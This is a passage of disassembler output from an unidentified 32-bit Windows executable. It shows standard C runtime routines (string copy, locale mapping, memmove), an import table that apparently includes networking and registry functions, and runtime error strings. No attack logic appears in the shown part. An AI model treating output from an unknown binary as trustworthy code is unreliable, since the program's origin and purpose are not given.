dec ebx
jnz short loc_404645
loc_404652: ; CODE XREF: sub_404600+2Bj
; sub_404600+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_40465A: ; CODE XREF: sub_404600+2Fj
test edi, 3
jz short loc_404674
loc_404662: ; CODE XREF: sub_404600+72j
mov [edi], al
inc edi
dec ecx
jz loc_4046F6
test edi, 3
jnz short loc_404662
loc_404674: ; CODE XREF: sub_404600+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_4046E7
loc_40467B: ; CODE XREF: sub_404600+7Fj
; sub_404600+F4j
mov [edi], al
inc edi
loc_40467E: ; CODE XREF: sub_404600+4Dj
dec ebx
jnz short loc_40467B
pop ebx
pop esi
loc_404683: ; CODE XREF: sub_404600+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_404689: ; CODE XREF: sub_404600+A9j
; sub_404600+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_404640
loc_404691: ; CODE XREF: sub_404600+20j
; sub_404600+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_404689
test dl, dl
jz short loc_4046DB
test dh, dh
jz short loc_4046D1
test edx, 0FF0000h
jz short loc_4046C7
test edx, 0FF000000h
jnz short loc_404689
mov [edi], edx
jmp short loc_4046DF
; ---------------------------------------------------------------------------
loc_4046C7: ; CODE XREF: sub_404600+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_4046DF
; ---------------------------------------------------------------------------
loc_4046D1: ; CODE XREF: sub_404600+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_4046DF
; ---------------------------------------------------------------------------
loc_4046DB: ; CODE XREF: sub_404600+ADj
xor edx, edx
mov [edi], edx
loc_4046DF: ; CODE XREF: sub_404600+C5j
; sub_404600+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_4046F1
loc_4046E7: ; CODE XREF: sub_404600+79j
xor eax, eax
loc_4046E9: ; CODE XREF: sub_404600+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_4046E9
loc_4046F1: ; CODE XREF: sub_404600+E5j
and ebx, 3
jnz short loc_40467B
loc_4046F6: ; CODE XREF: sub_404600+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_404600 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4046FE proc near ; CODE XREF: sub_403AE6+BEp
; sub_403AE6+E6p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_405470
push offset sub_4034B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor edi, edi
cmp ds:dword_4070DC, edi
jnz short loc_404774
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_405424
mov esi, 100h
push esi
push edi
call ds:dword_405098 ; LCMapStringW
test eax, eax
jz short loc_404752
mov ds:dword_4070DC, ebx
jmp short loc_404774
; ---------------------------------------------------------------------------
loc_404752: ; CODE XREF: sub_4046FE+4Aj
push edi
push edi
push ebx
push offset dword_406F38
push esi
push edi
call ds:dword_40509C ; LCMapStringA
test eax, eax
jz loc_40488C
mov ds:dword_4070DC, 2
loc_404774: ; CODE XREF: sub_4046FE+2Ej
; sub_4046FE+52j
cmp [ebp+arg_C], edi
jle short loc_404789
push [ebp+arg_C]
push [ebp+arg_8]
call sub_404922
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_404789: ; CODE XREF: sub_4046FE+79j
mov eax, ds:dword_4070DC
cmp eax, 2
jnz short loc_4047B0
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_40509C ; LCMapStringA
jmp loc_40488E
; ---------------------------------------------------------------------------
loc_4047B0: ; CODE XREF: sub_4046FE+93j
cmp eax, 1
jnz loc_40488C
cmp [ebp+arg_18], edi
jnz short loc_4047C6
mov eax, ds:dword_4070D4
mov [ebp+arg_18], eax
loc_4047C6: ; CODE XREF: sub_4046FE+BEj
push edi
push edi
push [ebp+arg_C]
push [ebp+arg_8]
mov eax, [ebp+arg_1C]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_18]
call ds:dword_405078 ; MultiByteToWideChar
mov ebx, eax
mov [ebp+var_1C], ebx
cmp ebx, edi
jz loc_40488C
mov [ebp+var_4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_4025D0
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_404821
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_24], edi
or [ebp+var_4], 0FFFFFFFFh
mov ebx, [ebp+var_1C]
loc_404821: ; CODE XREF: sub_4046FE+10Ej
cmp [ebp+var_24], edi
jz short loc_40488C
push ebx
push [ebp+var_24]
push [ebp+arg_C]
push [ebp+arg_8]
push 1
push [ebp+arg_18]
call ds:dword_405078 ; MultiByteToWideChar
test eax, eax
jz short loc_40488C
push edi
push edi
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_405098 ; LCMapStringW
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz short loc_40488C
test byte ptr [ebp+arg_4+1], 4
jz short loc_4048A0
cmp [ebp+arg_14], edi
jz loc_40491B
cmp esi, [ebp+arg_14]
jg short loc_40488C
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_405098 ; LCMapStringW
test eax, eax
jnz loc_40491B
loc_40488C: ; CODE XREF: sub_4046FE+66j
; sub_4046FE+B5j ...
xor eax, eax
loc_40488E: ; CODE XREF: sub_4046FE+ADj
; sub_4046FE+21Fj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4048A0: ; CODE XREF: sub_4046FE+160j
mov [ebp+var_4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_4025D0
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_20], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4048D4
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_4048D4: ; CODE XREF: sub_4046FE+1C2j
cmp ebx, edi
jz short loc_40488C
push esi
push ebx
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_405098 ; LCMapStringW
test eax, eax
jz short loc_40488C
cmp [ebp+arg_14], edi
push edi
push edi
jnz short loc_4048FB
push edi
push edi
jmp short loc_404901
; ---------------------------------------------------------------------------
loc_4048FB: ; CODE XREF: sub_4046FE+1F7j
push [ebp+arg_14]
push [ebp+arg_10]
loc_404901: ; CODE XREF: sub_4046FE+1FBj
push esi
push ebx
push 220h
push [ebp+arg_18]
call ds:dword_4050C8 ; WideCharToMultiByte
mov esi, eax
cmp esi, edi
jz loc_40488C
loc_40491B: ; CODE XREF: sub_4046FE+165j
; sub_4046FE+188j
mov eax, esi
jmp loc_40488E
sub_4046FE endp
; =============== S U B R O U T I N E =======================================
sub_404922 proc near ; CODE XREF: sub_4046FE+81p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_40493F
loc_404932: ; CODE XREF: sub_404922+1Bj
cmp byte ptr [eax], 0
jz short loc_40493F
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_404932
loc_40493F: ; CODE XREF: sub_404922+Ej
; sub_404922+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_40494A
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_40494A: ; CODE XREF: sub_404922+21j
mov eax, edx
retn
sub_404922 endp
; =============== S U B R O U T I N E =======================================
sub_40494D proc near ; CODE XREF: sub_403CC8+1Fp
arg_0 = dword ptr 4
mov eax, ds:dword_4070E4
test eax, eax
jz short loc_404965
push [esp+arg_0]
call eax
test eax, eax
pop ecx
jz short loc_404965
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_404965: ; CODE XREF: sub_40494D+7j
; sub_40494D+12j
xor eax, eax
retn
sub_40494D endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404970 proc near ; CODE XREF: sub_403D93+2EEp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_404990
cmp edi, eax
jb loc_404B08
loc_404990: ; CODE XREF: sub_404970+16j
test edi, 3
jnz short loc_4049AC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_4049CC
rep movsd
jmp ds:off_404AB8[edx*4]
; ---------------------------------------------------------------------------
loc_4049AC: ; CODE XREF: sub_404970+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_4049C4
and eax, 3
add ecx, eax
jmp dword ptr ds:loc_4049CC+4[eax*4]
; ---------------------------------------------------------------------------
loc_4049C4: ; CODE XREF: sub_404970+46j
jmp dword ptr ds:loc_404AC8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_4049CC: ; CODE XREF: sub_404970+31j
; sub_404970+8Ej ...
jmp ds:off_404A4C[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_4049E0
dd offset loc_404A0C
dd offset loc_404A30
; ---------------------------------------------------------------------------
loc_4049E0: ; DATA XREF: sub_404970+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_4049CC
rep movsd
jmp ds:off_404AB8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_404A0C: ; DATA XREF: sub_404970+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_4049CC
rep movsd
jmp ds:off_404AB8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_404A30: ; DATA XREF: sub_404970+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_4049CC
rep movsd
jmp ds:off_404AB8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_404A4C dd offset loc_404AAF ; DATA XREF: sub_404970:loc_4049CCr
dd offset loc_404A9C
dd offset loc_404A94
dd offset loc_404A8C
dd offset loc_404A84
dd offset loc_404A7C
dd offset loc_404A74
dd offset loc_404A6C
; ---------------------------------------------------------------------------
loc_404A6C: ; CODE XREF: sub_404970:loc_4049CCj
; DATA XREF: sub_404970+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_404A74: ; CODE XREF: sub_404970:loc_4049CCj
; DATA XREF: sub_404970+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_404A7C: ; CODE XREF: sub_404970:loc_4049CCj
; DATA XREF: sub_404970+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_404A84: ; CODE XREF: sub_404970:loc_4049CCj
; DATA XREF: sub_404970+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_404A8C: ; CODE XREF: sub_404970:loc_4049CCj
; DATA XREF: sub_404970+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_404A94: ; CODE XREF: sub_404970:loc_4049CCj
; DATA XREF: sub_404970+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_404A9C: ; CODE XREF: sub_404970:loc_4049CCj
; DATA XREF: sub_404970+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_404AAF: ; CODE XREF: sub_404970:loc_4049CCj
; DATA XREF: sub_404970:off_404A4Co
jmp ds:off_404AB8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_404AB8 dd offset loc_404AC8 ; DATA XREF: sub_404970+35r
; sub_404970+92r ...
dd offset loc_404AD0
dd offset loc_404ADC
dd offset loc_404AF0
; ---------------------------------------------------------------------------
loc_404AC8: ; CODE XREF: sub_404970+35j
; sub_404970+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_404AD0: ; CODE XREF: sub_404970+35j
; sub_404970+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_404ADC: ; CODE XREF: sub_404970+35j
; sub_404970+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_404AF0: ; CODE XREF: sub_404970+35j
; sub_404970+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_404B08: ; CODE XREF: sub_404970+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_404B3C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_404B30
std
rep movsd
cld
jmp ds:off_404C50[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_404B30: ; CODE XREF: sub_404970+1B1j
; sub_404970+208j ...
neg ecx
jmp ds:off_404C00[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_404B3C: ; CODE XREF: sub_404970+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_404B54
and eax, 3
sub ecx, eax
jmp dword ptr ds:loc_404B54+4[eax*4]
; ---------------------------------------------------------------------------
loc_404B54: ; CODE XREF: sub_404970+1D6j
; DATA XREF: sub_404970+1DDr
jmp ds:off_404C50[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_404B67+1
dd offset loc_404B88
; ---------------------------------------------------------------------------
mov al, 4Bh
inc eax
loc_404B67: ; DATA XREF: sub_404970+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_404B30
std
rep movsd
cld
jmp ds:off_404C50[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_404B88: ; DATA XREF: sub_404970+1F0o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_404B30
std
rep movsd
cld
jmp ds:off_404C50[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_404B30
std
rep movsd
cld
jmp ds:off_404C50[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_404C04
dd offset loc_404C0C
dd offset loc_404C14
dd offset loc_404C1C
dd offset loc_404C24
dd offset loc_404C2C
dd offset loc_404C34
off_404C00 dd offset loc_404C47 ; DATA XREF: sub_404970+1C2r
; ---------------------------------------------------------------------------
loc_404C04: ; DATA XREF: sub_404970+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_404C0C: ; DATA XREF: sub_404970+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_404C14: ; DATA XREF: sub_404970+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_404C1C: ; DATA XREF: sub_404970+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_404C24: ; DATA XREF: sub_404970+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_404C2C: ; DATA XREF: sub_404970+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_404C34: ; DATA XREF: sub_404970+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_404C47: ; CODE XREF: sub_404970+1C2j
; DATA XREF: sub_404970:off_404C00o
jmp ds:off_404C50[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_404C50 dd offset loc_404C60 ; DATA XREF: sub_404970+1B7r
; sub_404970:loc_404B54r ...
dd offset loc_404C68
dd offset loc_404C78
dd offset loc_404C8C
; ---------------------------------------------------------------------------
loc_404C60: ; CODE XREF: sub_404970+1B7j
; sub_404970:loc_404B54j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_404C68: ; CODE XREF: sub_404970+1B7j
; sub_404970:loc_404B54j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_404C78: ; CODE XREF: sub_404970+1B7j
; sub_404970:loc_404B54j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_404C8C: ; CODE XREF: sub_404970+1B7j
; sub_404970:loc_404B54j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_404970 endp
; ---------------------------------------------------------------------------
align 2
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_404CA6 proc near ; CODE XREF: sub_4033C0+13p
jmp ds:dword_405080
sub_404CA6 endp
; ---------------------------------------------------------------------------
dd 0D5h dup(0)
dword_405000 dd 77E2A571h ; DATA XREF: sub_402029+9Br
dword_405004 dd 77DD5ECCh ; DATA XREF: sub_4020D7+96r
dword_405008 dd 77DD59F0h ; DATA XREF: sub_4020D7+BEr
dword_40500C dd 77DD189Ah ; DATA XREF: sub_4020D7+C7r
dd 0
dword_405014 dd 77E805D8h ; DATA XREF: sub_404573+12r
dword_405018 dd 77E73167h ; DATA XREF: sub_4010D2+76r
; sub_40127D+8Fr ...
dword_40501C dd 77E6E32Eh ; DATA XREF: sub_401210+63r
; sub_401B08+2ABr
dword_405020 dd 77E6D09Bh ; DATA XREF: sub_401210+43r
dword_405024 dd 77E6D071h ; DATA XREF: sub_401210+2Cr
dword_405028 dd 77E61BE6h ; DATA XREF: sub_40127D+105r
; sub_40159E+4D0r ...
dword_40502C dd 77E6E4C8h ; DATA XREF: sub_401B08+275r
dword_405030 dd 77E99331h ; DATA XREF: sub_401B08+259r
dword_405034 dd 77E7A099h ; DATA XREF: sub_401B08+24Ar
; sub_401EF0+F8r ...
dword_405038 dd 77E7AC37h ; DATA XREF: sub_401E65+7Br
; sub_402029:loc_402095r
dword_40503C dd 77E684C6h ; DATA XREF: sub_401EF0+126r
dword_405040 dd 77F5157Dh ; DATA XREF: sub_402029+5Br
dword_405044 dd 77E7751Ah ; DATA XREF: sub_402029+18r
dword_405048 dd 77E7C2C4h ; DATA XREF: sub_402029+7r
dword_40504C dd 77E6BD13h ; DATA XREF: sub_4020D7+82r
dword_405050 dd 77E705B0h ; DATA XREF: sub_4020D7+27r
dword_405054 dd 77E7A5FDh ; DATA XREF: sub_404573+1Er
dword_405058 dd 77F5722Fh ; DATA XREF: sub_4043C7+28r
dword_40505C dd 77E7980Ah ; DATA XREF: sub_4043C7+76r
; sub_404478+51r
dword_405060 dd 77F516F8h ; DATA XREF: sub_403CF4+2Er
; sub_403D2A+Dr ...
dword_405064 dd 77E6C703h ; DATA XREF: sub_403A40+1Ar
dword_405068 dd 77E7A13Fh ; DATA XREF: sub_403A40+2Fr
dword_40506C dd 77E7849Fh ; DATA XREF: sub_4038A7+48r
; sub_403AE6+14r
dword_405070 dd 77E7C866h ; DATA XREF: sub_40371C+3Fr
; sub_40371C+12Dr
dword_405074 dd 77E641EBh ; DATA XREF: sub_40371C+59r
; sub_40371C+8Dr
dword_405078 dd 77E77CCEh ; DATA XREF: sub_40371C+C5r
; sub_40371C+11Br ...
dword_40507C dd 77E79D8Ch ; DATA XREF: sub_4035C9+14Ar
dword_405080 dd 77F6183Eh ; DATA XREF: sub_404CA6r
dword_405084 dd 77F51597h ; DATA XREF: sub_403C87+27r
; sub_403D93+2C4r ...
dword_405088 dd 77E79E34h ; DATA XREF: sub_403D93+23Fr
dword_40508C dd 77E7C726h ; DATA XREF: sub_403382+11r
dword_405090 dd 77E76E0Bh ; DATA XREF: sub_403382+2Fr
dword_405094 dd 77E78406h ; DATA XREF: sub_4031D7+FFr
; sub_4031D7+166r
dword_405098 dd 77E781F9h ; DATA XREF: sub_4046FE+42r
; sub_4046FE+14Dr ...
dword_40509C dd 77E77405h ; DATA XREF: sub_4046FE+5Er
; sub_4046FE+A7r
dword_4050A0 dd 77E79F93h ; DATA XREF: sub_40283E+C2r
dword_4050A4 dd 77E6177Ah ; DATA XREF: sub_40283E+9Fr
; sub_4031D7+59r
dword_4050A8 dd 77E7C938h ; DATA XREF: sub_40283E+74r
dword_4050AC dd 77E7C486h ; DATA XREF: sub_40283E+26r
dword_4050B0 dd 77E75CB5h ; DATA XREF: sub_402959+1Dr
; sub_402B10+91r
dword_4050B4 dd 77E616B4h ; DATA XREF: sub_402B10+17r
dword_4050B8 dd 77E79C90h ; DATA XREF: sub_402B10+10r
dword_4050BC dd 77EB9A84h ; DATA XREF: sub_402BC3+138r
dword_4050C0 dd 77E9C5B1h ; DATA XREF: sub_4030A5+11Fr
dword_4050C4 dd 77E7C9E1h ; DATA XREF: sub_4030A5+CEr
dword_4050C8 dd 77E79924h ; DATA XREF: sub_4030A5+7Er
; sub_4046FE+20Dr
dword_4050CC dd 77E67702h ; DATA XREF: sub_4030A5:loc_4030D4r
; sub_4030A5+E1r
dword_4050D0 dd 77E77EE1h ; DATA XREF: sub_4030A5+9r
dword_4050D4 dd 77E7C931h ; DATA XREF: sub_4031D7+19Dr
dword_4050D8 dd 77E79C3Dh ; DATA XREF: sub_4031D7+158r
; sub_4035C9+143r
align 10h
dword_4050E0 dd 77D4C96Ah ; DATA XREF: sub_401210+1Cr
; sub_40127D+B7r ...
align 8
dword_4050E8 dd 71AB868Dh ; DATA XREF: sub_401E65+68r
dword_4050EC dd 71AB5690h ; DATA XREF: sub_401398+179r
; sub_40159E+2DDr ...
dword_4050F0 dd 71AB1AF4h ; DATA XREF: sub_40127D+DEr
; sub_401398+151r ...
dword_4050F4 dd 71AB1746h ; DATA XREF: sub_401153+23r
; sub_40127D+27r ...
dword_4050F8 dd 71AB3C22h ; DATA XREF: sub_401153+50r
; sub_40127D+51r ...
dword_4050FC dd 71AB3E5Dh ; DATA XREF: sub_401153+68r
; sub_40127D+6Cr ...
dword_405100 dd 71AB5DE2h ; DATA XREF: sub_401E65+51r
dword_405104 dd 71AB32CAh ; DATA XREF: sub_4010D2+18r
dword_405108 dd 71AB401Ch ; DATA XREF: sub_4010D2+43r
dword_40510C dd 71AB12F8h ; DATA XREF: sub_401045+8r
; sub_4011D5+7r ...
dword_405110 dd 71AB2BBFh ; DATA XREF: sub_4010D2+29r
; sub_4011D5+1Er ...
dword_405114 dd 71AB41DAh ; DATA XREF: sub_401028+10r
dword_405118 dd 71AB3ECEh ; DATA XREF: sub_401E65+43r
dword_40511C dd 71AB1A6Dh ; DATA XREF: sub_401153+76r
; sub_40127D+10Fr ...
dd 2 dup(0)
dword_405128 dd 0FFFFFFFFh, 402915h, 402929h, 746E7572h, 20656D69h
; DATA XREF: sub_40283E+5o
dd 6F727265h, 2072h, 0A0Dh, 534F4C54h, 72652053h, 0D726F72h
dd 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 4
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 10h
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 4
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 10h
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 10h
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 10h
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 10h
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 4
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .text:off_406DA4o
db '- floating point not loaded',0Dh,0Ah,0
align 10h
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4035C9+119o
align 4
asc_4053E8 db 0Ah ; DATA XREF: sub_4035C9+F1o
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4035C9+D3o
db 0Ah
db 'Program: ',0
align 4
a___ db '...',0 ; DATA XREF: sub_4035C9+BFo
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4035C9+7Do
align 4
dword_405424 dd 0 ; DATA XREF: sub_40371C+39o
; sub_4046FE+36o
dword_405428 dd 0FFFFFFFFh, 403815h, 403819h ; DATA XREF: sub_40371C+5o
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_404573+3Do
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_404573+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_404573+24o
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_404573+Do
align 10h
dword_405470 dd 0FFFFFFFFh, 40480Eh, 404812h, 0FFFFFFFFh, 4048C2h, 4048C6h
; DATA XREF: sub_4046FE+5o
dd 55CCh, 2 dup(0)
dd 561Ch, 50E0h, 5500h, 2 dup(0)
dd 5714h, 5014h, 55D4h, 2 dup(0)
dd 5722h, 50E8h, 54ECh, 2 dup(0)
dd 5774h, 5000h, 5 dup(0)
dd 77E2A571h, 77DD5ECCh, 77DD59F0h, 77DD189Ah, 0
dd 77E805D8h, 77E73167h, 77E6E32Eh, 77E6D09Bh, 77E6D071h
dd 77E61BE6h, 77E6E4C8h, 77E99331h, 77E7A099h, 77E7AC37h
dd 77E684C6h, 77F5157Dh, 77E7751Ah, 77E7C2C4h, 77E6BD13h
dd 77E705B0h, 77E7A5FDh, 77F5722Fh, 77E7980Ah, 77F516F8h
dd 77E6C703h, 77E7A13Fh, 77E7849Fh, 77E7C866h, 77E641EBh
dd 77E77CCEh, 77E79D8Ch, 77F6183Eh, 77F51597h, 77E79E34h
dd 77E7C726h, 77E76E0Bh, 77E78406h, 77E781F9h, 77E77405h
dd 77E79F93h, 77E6177Ah, 77E7C938h, 77E7C486h, 77E75CB5h
dd 77E616B4h, 77E79C90h, 77EB9A84h, 77E9C5B1h, 77E7C9E1h
dd 77E79924h, 77E67702h, 77E77EE1h, 77E7C931h, 77E79C3Dh
dd 0
dd 77D4C96Ah, 0
dd 71AB868Dh, 71AB5690h, 71AB1AF4h, 71AB1746h, 71AB3C22h
dd 71AB3E5Dh, 71AB5DE2h, 71AB32CAh, 71AB401Ch, 71AB12F8h
dd 71AB2BBFh, 71AB41DAh, 71AB3ECEh, 71AB1A6Dh, 0
dd 73770000h, 6E697270h, 416674h, 52455355h, 642E3233h
dd 6C6Ch, 65470000h, 6F725074h, 64644163h, 73736572h, 0
